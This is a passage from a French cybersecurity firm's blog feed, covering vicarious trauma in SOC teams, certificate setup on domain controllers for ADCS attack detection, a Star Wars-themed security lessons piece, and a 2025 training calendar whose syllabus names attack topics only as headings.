<p>Pross (2006)<a target="_blank" href="https://www.login-securite.com/blog/le-traumatisme-vicariant-un-fleau-silencieux-dans-les-metiers-de-la-cybersecurite#"><strong>[1]</strong></a>a, quant à lui, mis en évidence un risque élevé d'épuisement professionnel(burnout) pour les personnes exposées à des contenus traumatiques sans mesures de soutien adaptées.</p>
<p>Parmi les facteurs aggravants identifiés figurent l'isolement professionnel, l'absence de reconnaissance sociale, la surcharge de cas, le manque de formation ou un mauvais équilibre entre vie professionnelle et personnelle.</p>
<p>La relation entre les traits de personnalité et le traumatisme vicariant reste encore sous-explorée, bien qu’elle constitue un axe d’étude crucial pour mieux comprendre les facteurs de vulnérabilité. Une étude basée sur le crash de l'avion 5735<a target="_blank" href="https://www.login-securite.com/blog/le-traumatisme-vicariant-un-fleau-silencieux-dans-les-metiers-de-la-cybersecurite#"><strong>[2]</strong></a>a montré que l'exposition médiatique à des événements traumatisants était un facteur déclencheur majeur du traumatisme vicariant, notamment chez les individus présentant des traits de personnalité tels que l'extraversion, l'amabilité et le névrosisme.</p>
<p>Reconnaître ce phénomène est essentiel pour protéger nos équipes, nos cerveaux et notre lucidité.</p>
<h1 id="heading-solution">Solution</h1>
<p>Comme pour tout traumatisme, la gestion du traumatisme vicariant nécessite une approche en trois temps : avant, pendant, et après l’exposition.</p>
<p>Dans un contexte où les équipes SOC sont exposées à une pression constante, il devient essentiel d’adopter une approche holistique du bien-être opérationnel. Inspiré des protocoles des forces spéciales, l'entraînement cognitif appliqué aux environnements cyber inclut désormais :</p>
<ul>
<li><p>des techniques de stress inoculation, <em>(Il s'agit d'un type spécifique de thérapiecognitivo-comportementale visant à doter les individus d'outils pour gérerefficacement le stress. Cette technique s'appuie sur la compréhension dustress, de ses impacts et sur le développement de stratégies pour les atténuer.En favorisant la résilience et en proposant des mécanismes d'adaptationpratiques)</em></p>
</li>
<li><p>des immersions en réalité virtuelle</p>
</li>
<li><p>des pratiques de pleine conscience et</p>
</li>
<li><p>des ateliers ciblés de prévention du burn-out</p>
</li>
</ul>
<p>‍</p>
<p>L’intégration de psychologues directement dans les équipes permet d'assurer un suivi personnalisé, de proposer des débriefings post-incident, et de renforcer la résilience individuelle.</p>
<p>On peut aussi combiner intelligence artificielle et indicateurs comportementaux, afin d’identifier les signaux faibles liés à la fatigue mentale ou à la surcharge cognitive. N’oublions pas l’importance des dispositifs de soutien social et familial pour accompagner les analystes après des périodes de forte intensité opérationnelle.</p>
<p>À l’échelle organisationnelle, ces initiatives se traduisent par des politiques concrètes :</p>
<ul>
<li><p>Pauses obligatoires</p>
</li>
<li><p>Cellules d’écoute disponibles 24/7</p>
</li>
<li><p>Mise en place d’une doctrine de résilience au cœur de la culture SOC</p>
</li>
<li><p>L’adaptation du stress-inoculation training au secteur civil permet aux analystes de mieux comprendre les effets du stress cyber, d’acquérir des outils pratiques (respiration, triage cognitif ,restructuration mentale) et de s’entraîner dans des conditions réalistes à la gestion de crise</p>
</li>
</ul>
<p>L’objectif : faire émerger des équipes durables, performantes, et profondément ancrées dans une culture de la prévention.</p>
<p>‍</p>
<p><a target="_blank" href="https://www.login-securite.com/blog/le-traumatisme-vicariant-un-fleau-silencieux-dans-les-metiers-de-la-cybersecurite#"><strong>[1]</strong></a> Pross C (2006) Burnout,vicarious traumatization and its prevention.</p>
<p><a target="_blank" href="https://www.login-securite.com/blog/le-traumatisme-vicariant-un-fleau-silencieux-dans-les-metiers-de-la-cybersecurite#"><strong>[2]</strong></a>https://en.wikipedia.org/wiki/China_Eastern_Airlines_Flight_5735</p>
<p>‍</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/681465c267bcabf321b75bad_Image1.png" alt /></p>
<p><strong><em>Technologies explorées pour réduire la charge émotionnelle</em></strong></p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/681465f49061363e1314aaa5_1.png" alt /></p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/681465fc212a778f7cfbd163_2.png" alt /></p>
<p>On ne choisit pas d’être impacté.</p>
<ul>
<li><p>Ce n’est ni un manque de recul, ni une sensibilité excessive. C’est juste l’expression de notre humanité. Même derrière un écran. Même avec dix ans d’expérience. Même avec un mental d’acier</p>
</li>
<li><p>Le traumatisme ne disparaît pas sous une to-do list ou derrière un masque professionnel</p>
</li>
<li><p>Il se reconnaît. Il s’anticipe. Il se prend en charge. Individuellement, collectivement, managérialement. Et surtout : entre pairs</p>
</li>
<li><p>Ce n’est pas un signe de faiblesse. C’est une preuve de lucidité. Une question de responsabilité</p>
</li>
<li><p>Dans un monde où les machines tournent H24, l’humain reste le maillon vital</p>
</li>
<li><p>Prenons soin de sa résilience</p>
</li>
</ul>
<h1 id="heading-chez-login">Chez Login</h1>
<p>Chez <strong>Login Sécurité</strong> la cybersécurité ne s’arrête pas aux firewalls.</p>
<p>On détecte. On protège. On répond. On reconstruit.</p>
<ul>
<li><p>De l’anticipation des menaces à la gestion de crise</p>
</li>
<li><p>De la tech à l’humain</p>
</li>
<li><p>De la sensibilisation à la résilience</p>
</li>
</ul>
<p>On est là, avant, pendant et après l’incident.</p>
<p>Vous avez des outils. Nous, on a une vision.</p>
<ul>
<li><p>Une task force engagée, formée, prête à intervenir</p>
</li>
<li><p>Des formats pédagogiques pour muscler vos défenses mentales</p>
</li>
<li><p>Et un accompagnement humain, même quand la machine s’emballe</p>
</li>
</ul>
<p>Parce qu’en cyber, la meilleure défense, c’est l’alliance entre la technologie… et la lucidité humaine.</p>
<p>Travaillons ensemble pour transformer chaque crise en levier stratégique.</p>
<p>‍<br />Contactez-nous. Préparez-vous. Respirez. On veille.</p>
]]></content:encoded></item><item><title><![CDATA[Détection des attaques ADCS - Configuration des DC]]></title><description><![CDATA[Après avoir installé une autorité de certification ADCS, il est temps de configurer les contrôleurs de domaine. Cet article détaille deux méthodes pour leur attribuer un certificat : manuellement via la console MMC, ou automatiquement via une GPO. Ce...]]></description><link>https://blog.login-securite.com/detection-des-attaques-adcs-configuration-des-dc</link><guid isPermaLink="true">https://blog.login-securite.com/detection-des-attaques-adcs-configuration-des-dc</guid><dc:creator><![CDATA[Login Sécurité]]></dc:creator><pubDate>Mon, 04 Aug 2025 11:45:32 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1754246092327/a2f89ced-f57b-438b-a894-26cb42bd03c7.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Après avoir installé une autorité de certification ADCS, il est temps de configurer les contrôleurs de domaine. Cet article détaille deux méthodes pour leur attribuer un certificat : manuellement via la console MMC, ou automatiquement via une GPO. Cette étape est essentielle avant d'entrer dans les mécanismes de journalisation et de détection d'attaques.</p>
<p>Dans la <a target="_blank" href="https://www.login-securite.com/blog/detection-attaques-adcs-installation-role-adcs"><strong>partie 1</strong>, nous a</a>vons vu comment installer l'autorité de certification. Maintenant, il faut configurer les contrôleurs de domaine pour l'utiliser.</p>
<p>Effectivement, n<a target="_blank" href="https://www.login-securite.com/blog/detection-attaques-adcs-installation-role-adcs">ous pouv</a>ons demander à l'ADCS un certificat, mais lorsque nous essayons de l'utiliser, nous obtenons une erreur "KDC_ERR_PADATA_TYPE_NOSUPP (KDC has no support for padata type)"</p>
<p>‍</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/6875fdfcbdbb1565232391b1_Image15.png" alt /></p>
<p>De la mêm<a target="_blank" href="https://www.login-securite.com/blog/detection-attaques-adcs-installation-role-adcs">e façon, il n'e</a>st pas encore possible de communiquer en LDAPS avec les contrôleurs de domaine.</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/6875fe31bdbb15652323db16_Image16.png" alt /></p>
<p>Pour régl<a target="_blank" href="https://www.login-securite.com/blog/detection-attaques-adcs-installation-role-adcs">er ce problème,</a> nous allons avoir besoin d'installer un certificat sur le contrôleur de domaine.</p>
<p>‍</p>
<h1 id="heading-methode-1-installer-lehttpswwwlogin-securitecomblogdetection-attaques-adcs-installation-role-adcs-certificat-manuellement-sur-un-controleur-de-domaine"><strong>Méthode 1: in</strong><a target="_blank" href="https://www.login-securite.com/blog/detection-attaques-adcs-installation-role-adcs"><strong>staller le</strong></a> <strong>certificat manuellement sur un contrôleur de domaine</strong></h1>
<p>Dans la conso<a target="_blank" href="https://www.login-securite.com/blog/detection-attaques-adcs-installation-role-adcs">le mmc d’un</a> contrôleur de domaine, nous allons ouvrir le menu "Ajouter/Supprimer un composant logiciel enfichable" :</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/6875fe5152b4e3eaeab9458a_Image17.png" alt /></p>
<p>‍</p>
<p>Puis, sél<a target="_blank" href="https://www.login-securite.com/blog/detection-attaques-adcs-installation-role-adcs">ectionner le me</a>nu des certificats avec le compte ordinateur local :</p>
<p>‍</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/6875fe67c0542f52f6739b4f_Image18.png" alt /></p>
<p>Vu que l'<a target="_blank" href="https://www.login-securite.com/blog/detection-attaques-adcs-installation-role-adcs">autorité de cer</a>tification vient d'être créée, il ne devrait pas encore y avoir de certificats. Dans l'onglet "personnel", nous allons demander un nouveau certificat :‍</p>
<p>Enfin, no<a target="_blank" href="https://www.login-securite.com/blog/detection-attaques-adcs-installation-role-adcs">us allons deman</a>der un certificat de "Contrôleur de domaine" :</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/6875fe935d62b393ad0f24dd_Image20.png" alt /></p>
<p>‍</p>
<h1 id="heading-methode-2-activer-lauto-enrollement-des-controleurs-de-domaine-via-gpo"><strong>Méthode 2: activer l’auto-enrollement des contrôleurs de domaine via GPO</strong></h1>
<p>Nous allons crée<a target="_blank" href="https://www.login-securite.com/blog/detection-attaques-adcs-installation-role-adcs">r une no</a>uvelle GPO qui va s'appliquer aux contrôleurs de domaine. Dans "Configuration utilisateur &gt; Stratégies &gt; Paramètres Windows &gt; Paramètres de sécurité &gt; Stratégies de clé publique &gt; Client des services de certificats - Inscription automatique", il faudra activer le "Modèle de configuration", en prenant soin de cocher les options de renouvellement de certificats expirés, et de mettre à jour les certificats :</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/6875febe0815c3672bb861d6_Image21.png" alt /></p>
<p>‍</p>
<p>Une fois <a target="_blank" href="https://www.login-securite.com/blog/detection-attaques-adcs-installation-role-adcs">validé, nous po</a>uvons mettre à jour la configuration de notre contrôleur de domaine :  ‍</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/6875fee25d62b393ad0f4bb2_Image22.png" alt /></p>
<h1 id="heading-bilan">Bilan</h1>
<p>Lo<a target="_blank" href="https://www.login-securite.com/blog/detection-attaques-adcs-installation-role-adcs">rsque l'on retourne da</a>ns les certificats personnels, un certificat a dû apparaître :</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/6875fef6659e1e14f4b0f431_Image23.png" alt /></p>
<p>‍</p>
<p>Maintenant, l<a target="_blank" href="https://www.login-securite.com/blog/detection-attaques-adcs-installation-role-adcs">e certifica</a>t que l'on avait demandé au tout début permet bien de s'authentifier avec et la communication via LDAPS fonctionne.‍</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/6875ff09bdbb15652324b152_Image24.png" alt /></p>
<p>‍</p>
<p>Le pro<a target="_blank" href="https://www.login-securite.com/blog/detection-attaques-adcs-installation-role-adcs">chain article perm</a>ettra de découvrir comment activer les logs, nécessaires à la détection de potentielles attaques.</p>
]]></content:encoded></item><item><title><![CDATA[Comment adresser les risques posés par Cassian Andor ?]]></title><description><![CDATA[Ou comment l’Empire a perdu face à ses mauvaises pratiques de cybersécurité et un rebelle nommé Andor
Même dans une galaxie lointaine, les vulnérabilités sont souvent les mêmes : centralisation excessive des données, contrôles d’accès inexistants, ab...]]></description><link>https://blog.login-securite.com/comment-adresser-les-risques-poses-par-cassian-andor</link><guid isPermaLink="true">https://blog.login-securite.com/comment-adresser-les-risques-poses-par-cassian-andor</guid><dc:creator><![CDATA[Login Sécurité]]></dc:creator><pubDate>Mon, 02 Jun 2025 22:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/cPF2nlWcMY4/upload/66e8a41a5c765c8764c880e313e041a8.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="hn-embed-widget" id="oliviermathieu"></div><p> </p>
<p>Ou comment l’Empire a perdu face à ses mauvaises pratiques de cybersécurité et un rebelle nommé Andor</p>
<p><em>Même dans une galaxie lointaine, les vulnérabilités sont souvent les mêmes : centralisation excessive des données, contrôles d’accès inexistants, absence de détection des comportements anormaux…<br />Cet article revient sur les erreurs techniques et organisationnelles qui ont précipité la chute de l’Empire et qui résonnent étrangement avec les défis de la cybersécurité moderne</em></p>
<p>Quand on parle de cybersécurité, on pense souvent à des hackers avec son hoodie ou son fond d’écran Matrix. Dans l'univers Star Wars (mais pas seulement en réalité…), parfois, il suffit d'un bon déguisement, d'un peu de culot... et d’un Empire qui n’a jamais entendu parler d'authentification multi facteurs.</p>
<p>Cassian Andor n'était pas un Jedi ni un seigneur Sith : il était juste suffisamment malin pour profiter d'un système construit comme un énorme SPOF (Point de défaillance unique, en anglais)sur pattes.</p>
<p>Entre IDOR (références directes non sécurisées, en anglais), absence totale de cloisonnement et un centre de données unique en guise de coffre-fort galactique, bienvenue dans la plus grande masterclass de mauvaises pratiques cybersécurité de toute une galaxie.</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/683016234285de31c0b1d777_Image1.png" alt class="image--center mx-auto" /></p>
<p>‍</p>
<p>Avec la sortie de la deuxième saison de Star Wars <strong>Andor</strong>, c’est l’occasion de faire un tour de la cybersécurité dans une galaxie lointaine, très lointaine. Il ne faut pas oublier pas que le pire n’est jamais décevant.</p>
<p>‍</p>
<h3 id="heading-quelles-lecons-tirer-de-larrogance-et-des-mauvaises-pratiques-imperiale"><strong>Quelles leçons tirer de l’arrogance et des mauvaises pratiques impériale ?</strong></h3>
<p>Avant même Scarif, l’Empire affichait déjà un mépris flagrant pour les fondamentaux de la sécurité des systèmes. À commencer par ses architectures monolithiques, centralisées à outrance, qui font passer une faille pour une invitation à la rébellion.</p>
<p>‍</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/6830167faddb7f2f7d96f223_Image2.jpg" alt class="image--center mx-auto" /></p>
<p>‍</p>
<h4 id="heading-prenons-lexemple-des-prisons-de-narkina-5"><strong>Prenons l’exemple des prisons de Narkina 5 :</strong></h4>
<p>Un système carcéral imposant… mais totalement dépendant de l’électricité. Une panne, et c’est toute la chaîne de contrôle qui s’effondre. Il en résulte une évasion massive, orchestrée à mains nues. Tous s’enfuient, sauf Kino, figure tragique d’un système où même les plus braves restent prisonniers… d’une mauvaise infrastructure.</p>
<p>Cette obsession impériale pour la centralisation à tout prix se répète encore et encore : un point d’accès unique et cœur de données critique.</p>
<p>Plus globalement, c’est l’arrogance technocratique de l’Empire qui ressort : penser qu’une technologie avancée suffit, sans prévoir les failles humaines, techniques ou physiques. Une erreur classique, mais fatale dans toute stratégie de cybersécurité.</p>
<p>Cet article n’est qu’un avant-goût. D'autres épisodes, comme Scarif ou Aldhani, viennent compléter ce tableau, aujourd’hui, d’un Empire technologiquement avancé mais stratégiquement vulnérable. Nous reviendrons dessus dans un prochain article dédié à la cybersécurité au sein de l’empire.</p>
<p>Maintenant, abordons les événements ayant touché les données impériales et plus particulièrement le SPOF de Scarif .Pour ceux qui n’aurait pas encore vu Rogue One, Il s’agit d’une planète hébergeant un centre de recherche militaire impériale. Cette dernière a été choisi pour emplacement, elle est hors de portée du Sénat intergalactique, évitant ainsi tout contrôle et maintenant le secret sur les projets comme <strong>Stardust</strong> (Etoile de la mort). Stardust est le nom donné au projet de l’étoile de la mort de Palpatine, pour lequel Krennic et Galen Erso (le père de Jyn) ont travaillé.</p>
<p>Ce centre utilise un archivage de données sur bande magnétique (ou équivalent) pour le stockage. Choix logique étant donné la nature des données et le rôle de cette base.</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/683016f68b555d245e97d1f9_Image3.jpg" alt class="image--center mx-auto" /></p>
<p>Un cadre idyllique qui l’est un peu moins pour son PRA</p>
<p>Des mécanismes de sécurité en place (bouclier planétaire, garnison de storm troopers et AT-AT), aucuns n’ont pu empêcher la perte complète et totale des données, sans réplications ni de sauvegardes multisites.</p>
<p>À noter que la destruction est causée par l’empire lui-même, avec le Grand Moff Tarkin prenant la décision de détruire le centre de recherche avant toute exfiltration. Cependant, la remédiation est arrivée tardivement, le vol des plans de l’étoile de la mort ayant déjà eu lieu.</p>
<p>‍</p>
<h3 id="heading-leffet-boule-de-neige-dun-acces-sans-second-facteur-dauthentification"><strong>L’effet boule de neige d’un accès sans second facteur d’authentification ?</strong></h3>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/68301736f1a7c5138f258a7c_Image4.jpg" alt class="image--center mx-auto" /></p>
<p>L’empire a privilégié un archivage hors-ligne afin de protéger ses données, mais c’est cette implémentation qui a permis le vol de donnée.</p>
<p>L’empire semble se prémunir contre la force brute, mais pas contre les éléments les plus discrets, comme notre force de rebelles.</p>
<p>On commence déjà avec un contrôle d’accès planétaire, que nos protagonistes ont pu passer facilement avec une navette impériale volée.</p>
<p>Surplace, Cassian Andor et Jyn Erso ont enfilé les tenues d’un officier et d’un agent de piste impérial. Ils ont pu se balader librement. Le seul problème étant le personnel, nombreux sur la base, pour nos rebelles, mais ceci ne sera pas un problème .Pendant que la garnison est attirée à l’extérieur par une diversion, rien ne semble empêcher l’intrusion : aucun contrôle d’accès, aucune authentification.</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/6830179db5ce594bbd0e9766_Image5.jpg" alt class="image--center mx-auto" /></p>
<p>‍</p>
<blockquote>
<p>La conformité ISO n’existe pas dans une galaxie lointaine. Pas besoin de badge, une tenue suffit</p>
</blockquote>
<p>‍</p>
<p>Les officiers et techniciens disposent d’un cylindre codé, visible sur les uniformes et est normalement utilisé pour le contrôle d’accès et restreindre un périmètre donné seulement aux personnes autorisées. Mais nos héros n’ont pas eu à les utiliser, en plus de ne pas être dans une zone autorisée. On notera que les terminaux d’accès ne sont pas protégés et sont exploitables par un droïdes, que ce soit des astromechs comme R2D2 ou K-2SO, le fameux droïde impérial reprogrammé.</p>
<p>Pour ce qui de l’accès au coffre-fort et aux bandes d’archives, Une fois à l’intérieur, pas de politique d’accès granulaire, il est possible de lister et de parcourir l’ensemble des informations, sans authentification. Pour la suite, la destruction du panneau de contrôle et le verrouillage subséquent de la porte ont déclenché une alerte, trop tardive vous me direz. Bien que débordé, les officiers impériaux ne semblent pas avoir relevé les signaux associés à l’envoi important de stormtroopers dans cette section de la base comme un danger imminent.</p>
<p>De l’attaque rebelle sur Scarif, on peut tirer les conclusions que la sécurité des données impériale repose tout d’abord sur une sécurité physique avec de nombreuses portes, des stormtroopers et un bouclier planétaire, mais que les processus et la communication ne sont pas adaptés face au risque porté par un attaquant avec un peu de volonté. Que ce soit par un manque d’audit, de restriction d’accès et de l’application du principe de moindre privilège, l’empire devrait reconsidérer son budget cybersécurité et l’architecture de son SI.</p>
<p>En compléments des événements sur Scarif, il semble que les retours d’expérience sur les incidents passés ne soient pas non plus considérés. Lors sur braquage du coffre des crédits impériaux sur Aldhani, le manque de défense en profondeur et de détection avancée sont cinglant et mettent en avant que les capacités de détection et de qualification d’incident restent très vagues pour le SOC impérial. On retrouve les mêmes problèmes sur Scarif, que faire une fois qu’un accès physique est réalisé ?</p>
<p>‍</p>
<h3 id="heading-il-y-a-bien-longtemps-dans-une-galaxie-pas-si-securisee-que-ca"><strong>Il y a bien longtemps, dans une galaxie pas si sécurisée que ça...</strong></h3>
<p>‍</p>
<p>Scarif, Aldhani, Eadu... autant de noms qui résonnent dans l’histoire impériale comme des échecs cuisants de sécurité. Entre les accès non protégés, les journaux d’événements ignorés, l’absence de contrôle d’identité, et un SOC visiblement plus préoccupé par les formalités que par la détection d’incidents, on comprend que l’Empire ait fini par se faire souffler ses plans les plus sensibles par une poignée de rebelles suffisamment motivés à faire vaciller tout un système.</p>
<p>L’analyse des attaques rebelles met en lumière des failles systémiques : centralisation extrême des données, cloisonnement mal appliqué, absence de PRA ou de PCA efficaces, et un manque de culture cybersécurité généralisé.</p>
<p>Les décisions se prennent en silo, les signaux faibles sont ignorés, et la réaction n’arrive que quand il est trop tard.</p>
<p>‍</p>
<p>Aujourd’hui(ou il y a très longtemps...), comment les forces impériales pourraient-elles se sécuriser ?</p>
<p>‍</p>
<p>En adoptant quelques principes issus non pas d’une prophétie Jedi, mais des bonnes pratiques cyber :</p>
<ul>
<li><p>Déployer des architectures <strong>résilientes, décentralisées et à haute disponibilité</strong></p>
</li>
<li><p><strong>Appliquer strictement le  principe du moindre privilège</strong>, même pour les officiers zélés</p>
</li>
<li><p><strong>Renforcer les contrôles d’accès</strong> (avec MFA obligatoire, même pour Krennic)</p>
</li>
<li><p><strong>Tester et mettre à jour régulièrement</strong> ses plans de continuité et de reprise d’activité</p>
</li>
<li><p><strong>Centraliser intelligemment les journaux</strong>, et surtout, évaluer et améliorer en     continu les capacités de détection</p>
</li>
<li><p><strong>Former et préparer ses équipes à la gestion de crise</strong>, y compris les stormtroopers, au moins ceux qui savent viser</p>
</li>
</ul>
<p>‍</p>
<p>Chez <strong>Login Sécurité</strong>, nous n'avons pas encore été mandatés par l'Empire, ni par la Rébellion.</p>
<p>Mais nous savons une chose : la Force ne suffit pas face à une vraie menace cyber.</p>
<p>Conseil, GRC, audit, SOC ou réponse à incident, nos équipes sont prêtes à vous accompagner, dans cette galaxie ou une autre.</p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">Vous avez un projet, une urgence, ou vous soupçonnez qu’un droïde fou exploite vos terminaux non protégés ? <strong>📩 contactez-nous : cert@login-securite.com</strong></div>
</div>]]></content:encoded></item><item><title><![CDATA[Calendrier 2025 des formations en cybersécurité]]></title><description><![CDATA[Au cours des dernières années, l’augmentation incessante des risques en termes de cybersécurité a transformé la possibilité de formation en une nécessité. En effet, en tant qu’experts de la cybersécurité, nos expériences nous ont appris que nos servi...]]></description><link>https://blog.login-securite.com/calendrier-2025-des-formations-en-cybersecurite</link><guid isPermaLink="true">https://blog.login-securite.com/calendrier-2025-des-formations-en-cybersecurite</guid><dc:creator><![CDATA[Login Sécurité]]></dc:creator><pubDate>Sun, 11 May 2025 22:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1754310597170/22833b60-5bd1-4504-b32c-b0520e209599.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Au cours des dernières années, l’augmentation incessante des risques en termes de cybersécurité a transformé la possibilité de formation en une nécessité. En effet, en tant qu’experts de la cybersécurité, nos expériences nous ont appris que nos services ne sont réellement exploités qu’avec le socle ou renforcement que représente les formations. Une fois formés, nos clients disposent d’une meilleure compréhension globale de leurs enjeux de sécurité, ainsi, ils renforcent leur protection.<br />Au coeur des offres Login Sécurité, vous trouverez donc une catégorie Formations &amp; Sensibilisations. A l’occasion de la sortie du Calendrier des Formations 2025, nous avons décidé de vous les présenter lors de ce cours article.<br />Les deux formations proposées sont dispensées dans à Lille, Nantes, Lyon, Paris et Toulouse. Toutes deux se déroulent sur 2 jours, déjeuners inclus, avec un accès aux environnements d’entrainement fourni. Afin d’assurer un apprentissage complet, elles sont organisées selon la logique : 60% théorie et 40% pratique.</p>
<h2 id="heading-dans-la-peau-dun-hacker"><strong>Dans la peau d’un Hacker</strong></h2>
<p>Cette formation est à destination de tous ceux qui souhaite entrevoir l’envers du décor de nos audits. Accompagné d’un de nos intervenants spécialisés dans les tests d’intrusion, vous y découvrirez les techniques d’attaques les plus répandues sur les applications web et les environnements Active Directory, et pourrez vous-même tenter de les reproduire. A la fois globale et spécialisée, elle est un excellent moyen de mieux appréhender les menaces qui pèsent sur vos systèmes et les meilleurs manières de s’en protéger.</p>
<h3 id="heading-objectifs-concrets"><strong>Objectifs concrets :</strong></h3>
<ul>
<li><p>Comprendre les méthodologies d’attaque sur un système d’information.</p>
</li>
<li><p>Appréhender les impacts liés aux exploitations de vulnérabilités.</p>
</li>
<li><p>Sensibilisation aux bonnes pratiques de sécurité.</p>
</li>
</ul>
<p>Public Visé et prérequis :Afin de bénéficier de cette formation au maximum, des connaissances systèmes et réseaux, ainsi que des connaissances basiques en Scripting (python, perl, bash) et en programmation web, sont de mises. C’est pourquoi le public visé est généralement celui des Directeur de Système Informatique (DSI), des Responsables de la Sécurité des Systèmes d’Information (RSSI) ou encore des Administrateurs systèmes et réseaux. Le Programme :</p>
<p><strong>Jour 1</strong></p>
<ul>
<li><p><strong>Prise d’information :</strong> Passive (Whois, Shodan, Google Dorks, Réseaux sociaux, DNS.)</p>
</li>
<li><p><strong>Réseau :</strong> Scan de ports, Attaques Man-in-the-Middle (ARP, LLMNR, DHCP).</p>
</li>
<li><p><strong>Bases de l’exploitation de vulnérabilité :</strong> Scan de vulnérabilité, base de vulnérabilité. Introduction à Metasploit. Exploitation de vulnérabilité à distance.</p>
</li>
<li><p><strong>Post-exploitation :</strong> Elévation de privilèges, Cassage de mot de passes.</p>
</li>
</ul>
<p><strong>Jour 2</strong></p>
<ul>
<li><p><strong>Attaques Active Directory :</strong> Enumération Active Directory. Attaques sur l’authentification AD (Relai NTLM, Pass-The-Hash…). Attaques Kerberos. Attaques ADCS.</p>
</li>
<li><p><strong>Attaques web :</strong> Attaques d’injections (XSS, SQL, etc…). Sécurisation de fonctionnalités sensibles.</p>
</li>
</ul>
<p><a target="_blank" href="https://kanopee.io/formation/formation-dans-la-peau-dun-hacker/"><strong>Calendrier des formations par régions et lien d’inscription</strong></a></p>
<h2 id="heading-developpement-securise-web">Développement sécurisé Web</h2>
<p>Cette formation à destination des professionnels du développement d’applications web aborde un panel large de vulnérabilités web, en se basant sur la méthodologie OWASP. Vous y apprendrez en quoi consiste chacune d’entre-elles et les risques associés. Accompagné par un de nos formateurs spécialisé dans les tests d’intrusion d’applications web, vous serez également introduit aux techniques d’attaques basiques permettant de déceler ces vulnérabilités, afin de mieux comprendre par la suite les meilleurs moyens de s’en protéger. Cette formation est essentielle pour tout développeur soucieux de créer des applications robustes et sûres. Objectifs concrets :</p>
<ul>
<li><p>Sensibiliser aux enjeux de la sécurité des application web</p>
</li>
<li><p>Comprendre les différentes vulnérabilités et attaques sur les applications web</p>
</li>
<li><p>Apprendre à corriger et prévenir l’apparition de vulnérabilités sur les applications web.</p>
</li>
</ul>
<p>Public Visé et Prérequis :Cette formation plus spécifique requiert des connaissances basiques sur l’utilisation d’un système Linux, une bonne connaissance du fonctionnement du protocole http ainsi qu’en programmation web. Ainsi, elle s’adresse principalement aux Chefs de projets d’applications web, aux Architectes d’applications web et aux Développeurs d’applications web. Programme :</p>
<p><strong>Jour 1</strong></p>
<ul>
<li><p><strong>Le développement sécurisé :</strong> cycle de vie logiciel, RGPD, évaluation du risque.</p>
</li>
<li><p><strong>Contrôle d’accès :</strong> cloisonnement vertical &amp; cloisonnement horizontal.</p>
</li>
<li><p><strong>Authentification et sessions :</strong> contournement d’authentification &amp; gestion des sessions (Gestion des jetons, CSRF).</p>
</li>
<li><p><strong>Validation des entrées utilisateurs (partie 1) :</strong> injections XSS &amp; injections SQL &amp; NoSQL.</p>
</li>
</ul>
<p><strong>Jour 2</strong></p>
<ul>
<li><p><strong>Validation des entrées utilisateurs (partie 2) :</strong> injections de commandes &amp; inclusion de fichier.</p>
</li>
<li><p><strong>Mises à jour et configuration des composants.</strong></p>
</li>
<li><p><strong>Vérification des données :</strong> téléversement de fichiers &amp; sérialisation et désérialisation.</p>
</li>
<li><p><strong>Cryptographie et stockage de données :</strong> algorithmes de chiffrement sécurisés &amp; stockage de mot de passe sécurisé.</p>
</li>
<li><p><strong>Sécurisation du CI/CD.</strong></p>
</li>
</ul>
<p><a target="_blank" href="https://kanopee.io/formation/developpement-web-securise-avec-owasp/"><strong>Calendrier des formations par régions et lien d’inscription</strong></a></p>
<p><a target="_blank" href="https://kanopee.io/formation/developpement-web-securise-avec-owasp/"><strong>‍</strong></a>U<a target="_blank" href="https://kanopee.io/formation/developpement-web-securise-avec-owasp/">n</a> mot sur nos offres de sensibilisation :Sur des formats plus courts d’une journée ou bien même quelques heures dans vos locaux, les offres de sensibilisations sont un atout considérable pour vos collaborateurs. Basées sur les retours d’expériences de nos clients et sur nos propres constats, elles ciblent des enjeux clés qui sont encore floues pour beaucoup. Les renforcer, c’est solidifier votre sécurité. Parmi elles, vous trouverez :</p>
<ul>
<li><p>Sensibilisation utilisateur</p>
</li>
<li><p>Sensibilisation administrateur</p>
</li>
<li><p>Sensibilisation au Phishing</p>
</li>
<li><p>Simulation de crise Cyber</p>
</li>
</ul>
